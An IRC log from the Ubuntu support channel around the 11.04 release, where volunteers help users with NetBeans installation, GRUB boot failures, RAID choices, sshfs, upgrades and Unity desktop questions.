[08:56] <ohsix> bullgard4: https://wiki.ubuntu.com/nhandler
[08:56] <PythonPup> Ubuntu_user, I execute lots of .sh files under Naty.  So, I proved you wrong.
[08:57] <Ubuntu_user> PythonPup:  have you tried jdk 6 or netbeans 7.0
[08:57] <PythonPup> Ubuntu_user, did you make your files executable?
[08:57] <Ubuntu_user> PythonPup:  lol, ofcourse yes
[08:57] <PythonPup> Ubuntu_user, please.  I would not install java.
[08:57] <ohsix> PythonPup: you can skip that step too
[08:58] <bullgard4> ohsix: Ah, this is a practical way. I will use it. Thank you for your help.
[08:58] <ohsix> Ubuntu_user: the sun jdk/jre is in the partner repos
[08:58] <Ubuntu_user> PythonPup:  But it wont even install
[08:58] <Cairo|Mac> ohsix: if it makes a difference there was some problem with samba4 when it was updating
[08:58] <ohsix> bullgard4: i've found all the ubuntu related people imminently contactable ;]
[08:58] <PythonPup>  Ubuntu_user What won't install?
[08:59] <tomtit> have just completed a fresh install of Ubuntu 11.04. opened xchat from main menu entered my password only to be inform invalid password?
[08:59] <ohsix> Ubuntu_user: netbeans 6.3 is in the repos too
[08:59] <virgo> i did reinstall my software center but still gives same error. Here is the install log: http://paste.ubuntu.com/601639/
[08:59] <PythonPup> Ubuntu_user, as ohsix said, enable the partner repository, then search for java and install.
[08:59] <Ubuntu_user> PythonPup:  jdk 6 or netbeans 7.0
[08:59] <bullgard4> ohsix: I have written to the designer of Ubuntu's Update Manager but have not received an answer from him.
[08:59] <Ubuntu_user> ohsix:  even netbeans 6.9 is there...
[08:59] <ohsix> PythonPup: with 11.04 you don't even have to do that, software-center knows how to enable sources that aren't enabled to get at packages
[09:00] <PythonPup> ohsix, OK.  I prefer Synaptic.  But, that is good to know.
[09:00] <Ubuntu_user> ohsix:  if you dont use chmod in 11.04, it gives error
[09:00] <Samo502> hello everybody
[09:00] <PythonPup> hello, Samo502
[09:01] <ohsix> Ubuntu_user: i didn't mean running it like ./
[09:01] <ohsix> Ubuntu_user: i mean sh ./whatever
[09:01] <Ubuntu_user> ohsix:  i tried the same package in 10.10 worked fine but in 11.04 it dont
[09:01] <Ubuntu_user> ohsix:  okazzz
[09:01] <virgo> ohsix: reinstalling software center didnt help, http://paste.ubuntu.com/601639/
[09:02] <ohsix> virgo: install the icons it's looking for
[09:02] <thauriswulfa> HELP: after many unsuccessfull installation attempts of ubuntu 11.04 I am tired now, Tried booting using dvd, cd, usb drive, even burned dvd at 2x speed as said in the error I got while installation. now I have no os on my system. Even replaced the ram slot as I found about the error on launchpad, but still getting that error no 5 input output error
[09:02] <ohsix> Ubuntu_user: nothing changed with the shell that would break running it directly, other things, maybe; but not the shell starting it
[09:02] <ohsix> Ubuntu_user: you should use the jdk/jre in the repos, and netbeans 6.3 if it's sufficient; they will track and update installed files and you don't have to make a mess
[09:03] <PythonPup> thauriswulfa, download 10.10 and see if it installs OK.
[09:03] <SirDidi> is there a more comfortable way to up and download files via ssh besides scp and sftp?
[09:03] <Ubuntu_user> terminal stucks at "running installation wizard" after some time returm to normal state. And no wizard launches
[09:03] <atdprhs> Ubuntu_user
[09:03] <atdprhs> and PythonPup
[09:03] <Samo502> SirDidi: what do you mean more comfortable?
[09:03] <Ubuntu_user> ohsix:  7.0 has better intellisense and php support
[09:03] <PythonPup> SirDidi, you could look at sshfs
[09:04] <atdprhs> i didn't get any reply to my problem :-( from you...
[09:04] <Ubuntu_user> atdprhs:  ??
[09:04] <Samo502> Ubuntu_user: i love Eclipse myself
[09:04] <SirDidi> PythonPup, i know but on the server is no sshfs and i cant install it
[09:04] <DeejayRoby4> PythonPup, maybe I've figured out the problem! could be because I use a nvidia raid 0?
[09:04] <SirDidi> Samo502, for example scp has no autocomplete
[09:04] <Ubuntu_user> atdprhs:  ahh i told you that you post question if anybody knows it they will surely answer and i dont use server or manage it
[09:05] <PythonPup> On the server, you just need sshd.  On the client, you use sshfs, SirDidi
[09:05] <atdprhs> Okayz...
[09:05] <atdprhs> nevermind
[09:05] <atdprhs> thank you...
[09:05] <SirDidi> PythonPup, oh nice
[09:05] <Ubuntu_user> Samo502:  dear my main question is to resolve this problem and not the software alone
[09:05] <chreestopher> would anyone care to help me to get my sound up and running in my linux distro?
[09:06] <airtonix> I'm looking for a terminal like tilda that lets me split the window like terminator does.
[09:06] <Samo502> Ubuntu_user: i know, i was just putting it out there
[09:06] <Ubuntu_user> Samo502:  yeah thanks i do have it btw...:-)
[09:06] <PythonPup> DeejayRoby4, perhaps.  If that is it, it would be good of you to report the bug.
[09:06] <SirDidi> PythonPup, Samo502 thx
[09:06] <Ubuntu_user> its awesome for C++
[09:06] <kblin> hi folks
[09:07] <Samo502> i've never been able to get far in C++ with ubuntu myself
[09:07] <DeejayRoby4> PythonPup, what can i do for install?
[09:07] <miststlkr> PythonPup: Funny this should come up, I came in to ask about setting up another ssh account which has limited access to files, preferably an account which has read-only access.  I think maybe I don't understand how to set up user permissions correctly to do this
[09:08] <PythonPup> DeejayRoby4, can you wipe out everything currently on the disk?
[09:08] <PythonPup> miststlkr, sounds like good news, then.
[09:08] <Ubuntu_user> ahh i use it and its great, i use it for gtk
[09:08] <Ady^> hello
[09:08] <virgo> how do i install this icon for my software center? http://paste.ubuntu.com/601643/
[09:08] <DeejayRoby4> PythonPup, i've done it
[09:08] <kblin> I've recently switched my ubuntu system to a new hdd, leaving my win7 install on the old hdd. for some reason the grub2 config misdetects which partition the win7 system is installed on, any idea on how the os prober script does the detection?
[09:08] <Ubuntu_user> but the main problem is still there why netbeans 7.0 does not launch
[09:09] <Ady^> i cam here in order to talk about ubuntu 11.04
[09:09] <Jordan_U> kblin: What makes you think that it has misdetected?
[09:09] <Ubuntu_user> do i need some updates or what
[09:09] <Samo502> kblin: i'm not sure what file that grub2 reads to accomplish something similar to menu.lst, however,
[09:10] <miststlkr> PythonPup: would I have to create a new ubuntu user account that only has the permissions I want this ssh user to have, then have them log in accordingly?
[09:10] <PythonPup> DeejayRoby4, good, I would go into the bios and remove the nvidia raid.  That is not a very good raid, anyway.  Download the alternale Ubuntu installer and setup a linuxraid(used dmraid, I believe)  It should work reliably.
[09:10] <Ady^> i'm just me or there is some one else who is not plesed with the new changes in ubuntu 11.04 especialy unity?
[09:10] <kblin> Jordan_U: firstly it doesn't boot, secondly, win7 is on the second partition of the drive and the os prober sets root to hd(1,1), and last but not least it sets the UUID of the first partition
[09:10] <PythonPup> miststlkr, Yes, that sound exactly right.
[09:10] <Samo502> kblin: if you want to find out what hd(#,#) your partition is on go to say, GParted, and it'll have /dev/sda1 sda2 etc
[09:10] <Ubuntu_user> kblin:  are you able to geton to win 7
[09:10] <kblin> Samo502: I know it's on /dev/sdb2
[09:10] <axscode> ubuntu+1 requires invitation, anyways, guys i cant find  System->Preferences->Sound->System Beep.
[09:11] <miststlkr> PythonPup: thanks.  I will go read up on how to set the permissions the way I want.   cheers!
[09:11] <Jordan_U> kblin: What happens when you try to boot?
[09:11] <PythonPup> miststlkr, I don't use sshfs often, but I do use scp and ssh all the time.  That is how I do it with those and I expect shfs to beghave similarly.
[09:11] <Ultimate_Chaos> Hello after upgrading my Ubuntu, It takes 10 minutes to load the desktop after login. Can you help me  fix it?
[09:11] <Samo502> kblin: i can't say what it is  exactly, but the 2 means it's going to be hd(#, 1)
[09:11] <axscode> i tried echo -e " \a" seems not working also..
[09:11] <Saamm> icnahed mu pointer to black in natty but it rmains white...how i fix this?
[09:11] <kblin> I can only boot win7 if I boot from the second hard drive
[09:11] <DeejayRoby4> PythonPup, no, I can't, later, I want to install windows in dual boot mode and in any case the hardware raid is faster
[09:11] <Samo502> kblin: i'm not sure what # sdb would apply to
[09:11] <Jordan_U> kblin: Can you run boot info script as explained here: http://ubuntuforums.org/showthread.php?t=1291280 and pastebin the RESULTS.txt?
[09:12] <PythonPup> DeejayRoby4, that is not really a hardware raid.  That is part of the problem.
[09:12] <Ultimate_Chaos> ?
[09:12] <Ultimate_Chaos> oh
[09:12] <shiftingcontrol> I had upgraded 10.10 ->11.04 ,f4 is hanging ,i just opened google and left the page for a minute,f4 gets hung,all short cut stopped working,did any face similar problem ?
[09:12] <PythonPup> DeejayRoby4, a 3ware card is real hardware raid.
[09:13] <kblin> Jordan_U: sure, let me reconnect the ubuntu disk that I unplugged to boot win7 and look at what win7 thinks it's world should look like
[09:13] <Samo502> kblin: i don't use grub2 i use 1.7 or 1.9 something, so i can't quote to you exactly what it would be ^_^
[09:13] <DeejayRoby4> PythonPup, I do not think I understand, the raid is done entirely on the chipset
[09:13] <kblin> Samo502: grub2 is at version 1.9something
[09:13] <DeejayRoby4> PythonPup, a 980a chipset
[09:13] <oussama> Hi, what does chroot do??
[09:13] <Samo502> kblin: mine still uses menu.lst, and i don't think 2 does.
[09:14] <miststlkr> PythonPup: I've never heard of shfs, only use scp, ssh and sftp... Ideally what I want is a separate account for someone which will only allow them read-only access to specific directories.  essentially a secure samba share over the internet, now that I am thinking it through
[09:14] <Ubuntu_user> kblin:  are you trying to dual boot win 7 & ubuntu
[09:14] <miststlkr> PythonPup: given that thought, do you thin k there may be an easier way to do this?
[09:14] <genii-around> oussama: It CHanges ROOT to the directory you specify
[09:14] <MrCraig> morning all
[09:14] <PythonPup> PythonPup, not really.  But, this is not the place.  Go google on hardware raid.  You have a software raid done by the bios.  They tell you it is hardware raid, and I used to think that, too.
[09:14] <Ultimate_Chaos> Hello after upgrading my Ubuntu [from 11.04 beta 1 to 11.04 official release0, It takes 10 minutes to load the desktop after login. Can you help me fix it?
[09:14] <shiftingcontrol> MrCraig, hi
[09:14] <oussama> example plz
[09:15] <shiftingcontrol> Ultimate_Chaos, even i have the problem
[09:15] <Ultimate_Chaos> yep
[09:15] <PythonPup> miststlkr, sshfs is the filesystem based on ssh
[09:15] <Ultimate_Chaos> okay
[09:15] <Ultimate_Chaos> it goes through the pre login stuff really fast
[09:16] <Ultimate_Chaos> then after i log in
[09:16] <jeija> oussama: if you want to fix your system from a live cd, you chroot in to the system
[09:16] <kblin> Ubuntu_user: yes, but keeping each system on it's own hdd
[09:16] <Ultimate_Chaos> it seems nothing is happening
[09:16] <kblin> Ubuntu_user: and not futzing with the windows drive's hdd
[09:16] <Ubuntu_user> okay so two HDD??
[09:16] <genii-around> oussama: When you chroot to for instance /mnt  and you do chroot /mnt   then it's new root path is /mnt/ and looks for all system binaries in /m,nt/bin as example.
[09:16] <Ultimate_Chaos> then after ten minutes icons load
[09:16] <PythonPup> DeejayRoby4, If you only have 2 drives in the raid array, a used 3ware controller is fairly cheap and I would buy that and use it on Windows and Ubuntu.  I don't work for or benefit in any way from your buying a 3ware controller.  They just work very well.
[09:16] <Ultimate_Chaos> then 1 mintue everything else
[09:16] <genii-around> */mnt/bin
[09:17] <Ultimate_Chaos> then the system runs super slow
[09:17] <MrCraig> Just got done with a system upgrade, and the new kernel won't  boot - not sure how I go about debugging the problem - any tips?
[09:17] <mysteriousdarren> philipballew:how are you?
[09:17] <Ubuntu_user> kblin:  maybe you could try out easyBCD
[09:17] <DeejayRoby4> PythonPup, at this moment I can't buy anything
[09:18] <Ultimate_Chaos> any ideas?
[09:18] <DeejayRoby4> PythonPup, What should I do to make a software raid
[09:18] <PythonPup> DeejayRoby4, the idea of raid 0 is a little scary, though.  It is anti redundant.  A failure on any drive and you are stuck.  If you really need to combine drives, go with 3 drives and raid 5.  Some redundancy is a good thing.  Drives do fail.
[09:18] <tasslehoff> I'm struggling to get my MacBook Pro keyboard layout right. Shift, Alt & Cmd keys work out of the box, but I have no way to choose 3d level, which I need to get curly/square brackets.
[09:18] <oussama> ok thank you
[09:18] <Samo502> well everybody i'm gonna watch anime then bed so i'm off for now
[09:18] <PythonPup> DeejayRoby4, There is no good way to do a software raid that is reliable and works on Windows and Linux.
[09:19] <tasslehoff> If I choose "left alt and win is swapped" in layout options, Cmd starts working as Alt, and Shift + Cmd gives me 3d level. Alt does not, however, start to function as Cmd did.
[09:19] <Ultimate_Chaos> OS: Microsoft Windows 7 Home Premium 6.1.7601 64-bit Uptime: 1day 6hrs 19mins 40secs Total Memory: 3834.9MB Available Memory: 2269.23MB
[09:19] <Ady^> guys
[09:19] <Ady^> i have a major question
[09:19] <Ultimate_Chaos> same
[09:20] <nomicos> Hey there. Can someone help me?
[09:20] <DeejayRoby4> PythonPup, so if I make a raid software will work only on Linux?
[09:20] <airtonix> !ask | nomicos
[09:20] <ubottu> nomicos: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[09:20] <Ady^> if ubuntu version 11.04 sucks that much why it was released with so many bugs and inconveniences?
[09:20] <PythonPup> DeejayRoby4, If you need starage space that either system can see, setup a samba server on Linux on mirrorored or raided drives.  Share it to the Windows and the Linux system.  That can be fast and reliable
[09:20] <Ady^> unity is so buggy and etc..
[09:20] <Ady^> and etc etc..
[09:20] <airtonix> etc
[09:20] <airtonix> :>
[09:21] <Ady^> it sucks big time compare to 10.10
[09:21] <Ultimate_Chaos> Hello after upgrading my Ubuntu [from 11.04 beta 1 to 11.04 official release0, It takes 10 minutes to load the desktop after login. Can you help me fix it? It starts reall fast to the login but is slooow after login.
[09:21] <Ady^> can't you see it?
[09:21] <PythonPup> DeejayRoby4, there are software raid that works fine in Windows and there is software raid that works fine in Linux.  They are not the same software raid.
[09:21] <airtonix> !troll | Ady^
[09:21] <Jordan_U> !ot | Ady^
[09:21] <ubottu> Ady^: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[09:21] <airtonix> hoho
[09:21] <Ady^> i'm not trolling
[09:21] <Ady^> i'm comlaining
[09:21] <Ady^> it's a differences//
[09:22] <Jordan_U> Ady^: This is a support channel, not a complaint channel. Take rants elsewhere.
[09:22] <Ady^> i don't like the new changes with unity..
[09:22] <DeejayRoby4> PythonPup, I do not want space. I want speed, especially on Windows because I play
[09:22] <nomicos> How can I install 11.04 on computer with 10.10 (also I need to minimize 10.10 '/' mount point size)?
[09:22] <Ady^> why is so buggy?
[09:22] <PythonPup> complaints here is trolling.  If you have a specific problem, ask about it.
[09:22] <Ultimate_Chaos> man f u c k e e  a g a i n
[09:22] <Ady^> well let's talk about unity
[09:22] <parasol> i upgraded from 10.10 to 11.04. went smooth :)
[09:23] <Ady^> a big problem the way i see it..
[09:23] <Jordan_U> !language | Ultimate_Chaos
[09:23] <ubottu> Ultimate_Chaos: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[09:23] <Ubuntu_user> Ultimate_Chaos:  no swearing please
[09:23] <Ultimate_Chaos> oh
[09:23] <Drknzz> hi Everyone! How can i temporarily disable 3D acceleration in Ubuntu 11.04? Fusion-icon doesnt seem to be working
[09:23] <Ultimate_Chaos> looking for help
[09:23] <Jordan_U> Ady^: This is not a discussion channel. Ask / answer support questions or leave.
[09:23] <chreestopher> can someone help me, im trying to get my sound to work, I load the alsa mixer and it shows the typical sources my card is capable of using, but when i turn the volume up, no sound comes out.... any ideas?
[09:23] <Ultimate_Chaos> Hello after upgrading my Ubuntu [from 11.04 beta 1 to 11.04 official release0, It takes 10 minutes to load the desktop after login. Can you help me fix it? It starts reall fast to the login but is slooow after login.
[09:23] <PythonPup> DeejayRoby4, Do you want the system to support Linux?  Or Windows?  As I said, if you need both, software raid is not a good option.
[09:23] <Ultimate_Chaos> im not trying to spam
[09:23] <Ultimate_Chaos> but there
[09:23] <Ultimate_Chaos> ^^^^
[09:24] <Ady^> ok i have some question then if it's a suport channel..
[09:24] <Ady^> why can't i move icons in unity in the order i want?
[09:24] <html_inprogress> can i get some help ?
[09:24] <DeejayRoby4> PythonPup, you're right, maybe expect too .... Well think about and decide
[09:24] <jodlajodla> hello, can someone in 11.04 go on indicators (mail, music, ...) with mouse pointer (fast) and tell me if showing him white indicators in background of menus? thanks!!
[09:25] <Ultimate_Chaos> im not ignored
[09:25] <nmaxchat> Hello, I am new @ linux. Can someone help me install drop box ?
[09:25] <nmaxchat> I need: GTK 2.12 ou ultérieure/Later
[09:25] <nmaxchat> GLib 2.14 ou ultérieure
[09:25] <Ultimate_Chaos> i just gotta be patient
[09:25] <Ultimate_Chaos> but i have togo soon
[09:25] <nmaxchat> Haha did not get floodbot
[09:25] <Ultimate_Chaos> i need it soon
[09:25] <Ubuntu_user> So what could be the problem that natty does not launch my sh programs
[09:25] <mahfrkk> hai. where can i get a complete list of unity quicklists?
[09:25] <gac> I tried installing 11.04 this morning and failed. Everything seemed to go OK, but when I rebooted, it appeared that the bootloader wasn't installed properly (I just got my motherboard's generic "no bootable device" message). /var/log/syslog during the installation says that grub-install worked though. Anyone else having similar problems?
[09:25] <Dr_Willis> Ady^:  move what icons where?
[09:25] <Ady^> how can i chose to place icons in the order i want in unity?
[09:26] <jodlajodla> hello, can someone in 11.04 go on indicators (mail, music, ...) with mouse pointer (fast) and tell me if showing him white indicators in background of menus? thanks!!
[09:26] <Dr_Willis> Ady^:  click, hold a moment or 2. and then you can drag them around on the side panel.
[09:26] <Ultimate_Chaos> :(
[09:26] <Ultimate_Chaos> ohhh plz plz plz
[09:26] <genii-around> Ubuntu_user: Are you making your sh programs +x ?
[09:26] <Ultimate_Chaos> im in a hurry
[09:26] <omidp> hey guys if i run apt-get upgrade will i do the sames as the upgrade in  system ---> Admistration --> update manager ---> upgrade?
[09:26] <Ubuntu_user> genii-around:  yes
[09:26] <Ady^> why vlc and audacious must be full screned in order to see menius?
[09:26] <Dr_Willis> omidp:  it should.
[09:26] <Ady^> is there some kind of bug?
[09:26] <Jordan_U> gac: Do you have more than one hard drive?
[09:27] <nmaxchat> how to I know if I have GTK installed ?
[09:27] <jodlajodla> is here anybody with 11.04?
[09:27] <omidp> becuz its more fun in terminal
[09:27] <gac> Jordan_U: no, I've just plugged in a spare SATA drive on its own for the Ubuntu installation
[09:27] <Dr_Willis> Ady^:  the menus for vlc show up here when i move to the top panel.
[09:27] <genii-around> Ubuntu_user: Do they have the #!/bin/bash     shebang as first line?
[09:27] <kblin> Jordan_U: http://kblin.org/code/RESULTS.txt is the result of the  boot checker script
[09:27] <Dr_Willis> Ady^:  they just dont appear untill i move to the panel.
[09:27] <green_> anyone else having sound issues in 11.04? worked in 10.10 but nothing in 11.04 can someone help?
[09:27] <PythonPup> omidp, No, they are not the same.
[09:27] <jeija> gac: you could try to fix it with the super grub cd or the ubuntu live cd
[09:27] <genii-around> Ubuntu_user: ( or /bin/sh or other shell as you like )
[09:27] <Jordan_U> gac: Is that drive listed in your BIOS?
[09:27] <omidp> then wat should i do?
[09:27] <Ultimate_Chaos> AUTOPOST 30SECS
[09:28] <Ubuntu_user> genii-around:  i have not made that program, its netbeans 7.0 and jdk 6
[09:28] <jodlajodla> plz help -.-"
[09:28] <stefg> gac: that explains it. grub and the bios seem to disagrre wht the boot drive is
[09:28] <Ady^> how can i chose full efects like i did in ubuntu 10.10 in customization?
[09:28] <gac> jeija: I could, but if this is a bug then I would rather know so I can file it. I don't really need it to work as I'm not a fulltime Ubuntu user :)
[09:28] <PythonPup> omidp, Upgrade in update manager is a version upgrade.  apt-get upgrade installs updates.
[09:28] <gac> Jordan_U: yes, it is
[09:28] <Jordan_U> !ccsm | Ady^
[09:28] <ubottu> Ady^: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[09:28] <gac> stefg: there's only one drive. how can there be confusion? :)
[09:28] <tasslehoff> is it possible to have Alt choosing 3d level, and still have Ctrl + Alt combos work?
[09:28] <Ultimate_Chaos> Hello after upgrading my Ubuntu [from 11.04 beta 1 to 11.04 official release0, It takes 10 minutes to load the desktop after login. Can you help me fix it? It starts reall fast to the login but is slooow after login.
[09:28] <Jordan_U> Ady^: Note that some plugins aren't compatible with Unity, like the Desktop cube.
[09:28] <stefg> gac: didn't you just say you added a sata drive for the install?
[09:28] <lehel_> How to costumize the dash in 11.04? thanks
[09:29] <omidp> @Pythonpup how can i do the same action as update manager in terminal?
[09:29] <Ady^> sorry i have so many questions because ubuntu 11.04 has so many radical changes..
[09:29] <gac> stefg: no, I said I plugged a spare drive in on its own. I.e. not in addition to my working Windows 7 installation
[09:29] <MrCraig> I'm going to give unity a go, but I did like the old hierarchical menus, if I want them back is there a convenient way to switch?
[09:29] <jodlajodla> hello, can someone in 11.04 go on indicators (mail, music, ...) with mouse pointer (fast) and tell me if showing him white indicators in background of menus? thanks!!
[09:29] <genii-around> Ubuntu_user: If it is java, and not shell script, are you running the program as like:/usr/bin/java ./local-java-appname
[09:29] <Ultimate_Chaos> is there another ubuntu help channel?
[09:29] <jeija> gac: are you sure both drives are plugged in at the moment?
[09:29] <PythonPup> omidp,   sudo apt-get dist-upgrade or something like that.
[09:29] <Ubuntu_user> genii-around:  I just downloaded netbeans 7.0 from web and executed it, no wizrd comes up ever
[09:29] <stefg> gac: i see... so the ubuntu installer/grub never saw mor than one disk?
[09:30] <Ubuntu_user> genii-around:  no sh ./path
[09:30] <green_> ok, im done again with ubuntu os
[09:30] <gac> jeija: stefg: no, it can't, there's only the intended Ubuntu disk plugged in right now
[09:30] <stefg> gac: are you on Live CD now?
[09:30] <zerkms> hi there
[09:30] <PythonPup> omidp,   sudo apt-get dist-upgrade   was right.
[09:30] <gac> stefg: not right now, I'm IRCing from my laptop. Give me a couple of minutes and I can boot the Live CD
[09:31] <Ultimate_Chaos> asdfjkl;
[09:31] <zerkms> guys, can anyone point me to good nginx + php-fpm howto?
[09:31] <Drknzz> hi Everyone! How can i temporarily disable 3D acceleration in Ubuntu 11.04? Fusion-icon doesnt seem to be working, and i need to disable compiz so flash does work
[09:31] <zerkms> http://library.linode.com/web-servers/nginx/php-fastcgi/ubuntu-10.04-lucid --- is it actual enough?
[09:31] <nmaxchat> a helpful soul ? How do I know if I have
[09:31] <nmaxchat> GTK 2.12 ou ultérieure/Later
[09:31] <nmaxchat> GLib 2.14 ou ultérieure
[09:31] <Ultimate_Chaos> Hello after upgrading my Ubuntu [from 11.04 beta 1 to 11.04 official release0, It takes 10 minutes to load the desktop after login. Can you help me fix it? It starts reall fast to the login but is slooow after login.\
[09:31] <genii-around> Ubuntu_user: So, you downloaded some source file for netbeans? Why not instead: sudo apt-cache update &&  sudo apt-get install netbeans                            ?
[09:31] <stefg> gac: what you could try is booting the Live CD, chroot into the installed system and reconfigure/reinstall grub
[09:32] <gac> stefg: wouldn't that just be doing the same thing as the installer does though, which isn't working?
[09:32] <genii-around> Ubuntu_user: the first command there should be sudo apt-get update and not apt-cache, apologies
[09:32] <Ubuntu_user> genii-around:  because sudo does not have 7.0 it is for 6.9 only
[09:32] <Jordan_U> gac: Is the drive listed in your BIOS?
[09:32] <gac> Jordan_U: yes, it is
[09:32] <Ultimate_Chaos> IS THERE A SUPPORT FORUM WITH 11.04 DOCUMENTATION
[09:32] <nice_> hi..any msn client which can be able to show youtube videos  embedded?
[09:32] <Jordan_U> !caps | Ultimate_Chaos
[09:32] <ubottu> Ultimate_Chaos: PLEASE DON'T SHOUT! We can read lowercase too.
[09:33] <gac> Jordan_U: it's also set to the first boot device, and the error also shows up if I boot the LiveCD and then pick "boot from hard drive"
[09:33] <Ubuntu_user> Jordan_U:  lol
[09:33] <stefg> gac: Right, but you try to figure out what the problem is first... look at /etc/grub/default and /boot/grub/grub.cfg .... analys waht grub takes as environment and so on.
[09:33] <virgo> my software-center is still broken, reinstalling didnt help. How do i install the missing icon or how else i can fix it? http://paste.ubuntu.com/601650/
[09:33] <omidp> python dats doenst  work it just shows the updates not upgrades im searching thru google
[09:33] <Ubuntu_user> genii-around:  thats why i downloaded it and tried to execute, but it works well on 10.10 but not on 11.04
[09:34] <Ultimate_Chaos> its bad in here
[09:34] <virgo> is there a command to install all deps for software-center?
[09:34] <gac> stefg: it's booting now, so I'll take a quick look. My impression is that for some reason grub isn't actually getting into the MBR on my disk, so the config files are probably all sane, but grub isn't actually present and therefore won't read them
[09:35] <PythonPup> omidp,    sudo apt-get dist-upgrade    after   sudo apt-get update
[09:35] <Dr_Willis> Ultimate_Chaos:  theres the askubuntu web site that is getting a lot of focus ritght now.
[09:35] <Dr_Willis> Ultimate_Chaos:  ive not even noticed your actual question/problem in here.
[09:35] <stefg> gac: is there some kind of "virus protection" enabled in the bios which prevents write access to the boot sector?
[09:35] <Jordan_U> gac: Can you run boot info script as explained here: http://ubuntuforums.org/showthread.php?t=1291280 and pastebin the RESULTS.txt?
[09:35] <az7rb> :)
[09:35] <Ultimate_Chaos> Hello after upgrading my Ubuntu [from 11.04 beta 1 to 11.04 official release0, It takes 10 minutes to load the desktop after login. Can you help me fix it? It starts reall fast to the login but is slooow after login.\
[09:36] <scotty^> nmaxchat - You could look in Synaptic package manager or search the Ubuntu packages on Launchpad.
[09:36] <Ultimate_Chaos> this is the question
[09:36] <PythonPup> omidp, Are you connecting to the computer through ssh, or is it a server?  Otherwise, why not run Update Manager?
[09:36] <gac> stefg: not that I've seen, no. I have checked for that sort of thing. Also it's the same version of the BIOS and same settings that were set when I installed Windows 7 ~6 months ago when I bought the PC. there's a BIOS upgrade which I may try applying shortly
[09:36] <omidp> apt-get dist-upgrade only shows the updates try to run
[09:36] <Dr_Willis> Ultimate_Chaos:  as a test. I would try making a new user. see if the slowness also affects them.
[09:36] <gac> Jordan_U: yeah, I'll have a look at that link, LiveCD is just booting up now
[09:36] <az7rb> Higiss
[09:36] <adsDSDSFSFSFAEEF> hi
[09:36] <adsDSDSFSFSFAEEF> i need helpo
[09:36] <adsDSDSFSFSFAEEF> i need help
[09:36] <Ultimate_Chaos> Dr_Willis: Ill try it
[09:36] <Gnea> !ask | adsDSDSFSFSFAEEF
[09:36] <ubottu> adsDSDSFSFSFAEEF: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[09:36] <omidp> @PythonPup the speed thru terminal is much faster than  update manager
[09:36] <az7rb> How are you doing?
[09:36] <stefg> gac: i'd first try reinstalling (and verifying) grub to the disks mbr
[09:37] <PythonPup> adsDSDSFSFSFAEEF, yes you are very bad at picking irc names.
[09:37] <Ady^> why when i'm whatching a clip on youtube and i want to go on fullscreen it gest stuck?
[09:37] <adsDSDSFSFSFAEEF> my problem is
[09:37] <az7rb> wew :(
[09:37] <Ubuntu_user> genii-around:  are you there?
[09:37] <adsDSDSFSFSFAEEF> ubuntu runs without any problems since 4 days
[09:37] <AmberJ> Hello
[09:37] <adsDSDSFSFSFAEEF> i missed the blue screens from windows
[09:37] <adsDSDSFSFSFAEEF> HAHA :D
[09:37] <az7rb> فيكم احد من السعودية ؟
[09:37] <PythonPup> omidp, But, if you can run update nmanager, go into its settings and see if it is set to do just long term releases.  I don't know what file that is.
[09:37] <az7rb> ههههههههه
[09:37] <genii-around> Ubuntu_user: Mostly. Is 4:30 or so AM
[09:37] <FloodBot3> az7rb: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[09:38] <Ultimate_Chaos> Dr_Willis: is there a way to ad an user without logging in. It take forever
[09:38] <AmberJ> Can anyone paste their /usr/share/python-apt/templates/Ubuntu.info for ubuntu 10.10 to pastebin?
[09:38] <stefg> Ultimate_Chaos: Create a new user for testing purposes and try if the problem is the same with a fresh account
[09:38] <eddie_> hi
[09:38] <az7rb> <FloodBot3>؟؟
[09:38] <AmberJ> I bumped into this error: https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/364092
[09:38] <ubottu> Ubuntu bug 364092 in software-properties (Ubuntu) "software-properties-gtk doesn't start" [Undecided,Fix released]
[09:38] <adsDSDSFSFSFAEEF> when do you go to bed
[09:38] <az7rb> brb
[09:38] <Ubuntu_user> genii-around:  ahh. its 2:00 pm here
[09:38] <adsDSDSFSFSFAEEF> -
[09:38] <genii-around> Ubuntu_user: Anyhow, perhaps to: sudo chmod +x <netbeans-filename.sh>
[09:38] <AmberJ> And, it seems like the problem is in /usr/share/python-apt/templates/Ubuntu.info
[09:38] <gac> Jordan_U: http://pastebin.com/X2sLaKMy
[09:39] <omidp> i have another question , its about ubuntu studio
[09:39] <Ubuntu_user> genii-around:  okay i try that too
[09:39] <Jordan_U> gac: GRUB is installed fine. There is a problem with your BIOS.
[09:39] <PythonPup> ubuntu studio comes on a round disk, omidp
[09:40] <omidp> my friend installed it  and there was no internet connection
[09:40] <Jordan_U> !arabic | az7rb
[09:40] <genii-around> Ubuntu_user: Then to: sudo /bin/sh ./<netbeans-filename.sh>     when you are in the directory that file sits
[09:40] <ubottu> az7rb: For Arabic language support, please : /join #ubuntu-arabic : للحصول على الدعم باللغة العربية
[09:40] <gac> Jordan_U: you're right, seems that way. I'll apply the update which is available and see what that does. if I can find a 10.10 CD handy I'll try installing that, I'm sure that's worked on this PC and this disk in the past
[09:40] <eddie_> I just upgraded to 11.04
[09:40] <eddie_> what alternatives are there to unity?
[09:40] <PythonPup> omidp, OK, when he gets an internet connection, he can install updates.
[09:41] <adsDSDSFSFSFAEEF> lets sing a song
[09:41] <adsDSDSFSFSFAEEF> because ubuntureleased
[09:41] <stefg> ot! | adsDSDSFSFSFAEEF
[09:41] <terry> Ultimate_Chaos: You can login to a console session and add a user.
[09:41] <Sidewinder1> !ot > adsDSDSFSFSFAEEF
[09:41] <ubottu> adsDSDSFSFSFAEEF, please see my private message
[09:41] <stefg> !ot | adsDSDSFSFSFAEEF
[09:41] <ubottu> adsDSDSFSFSFAEEF: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[09:41] <phaedra> eddie_, you can select the classic at the login screen
[09:41] <eddie_> ah ok, thanks :) :)
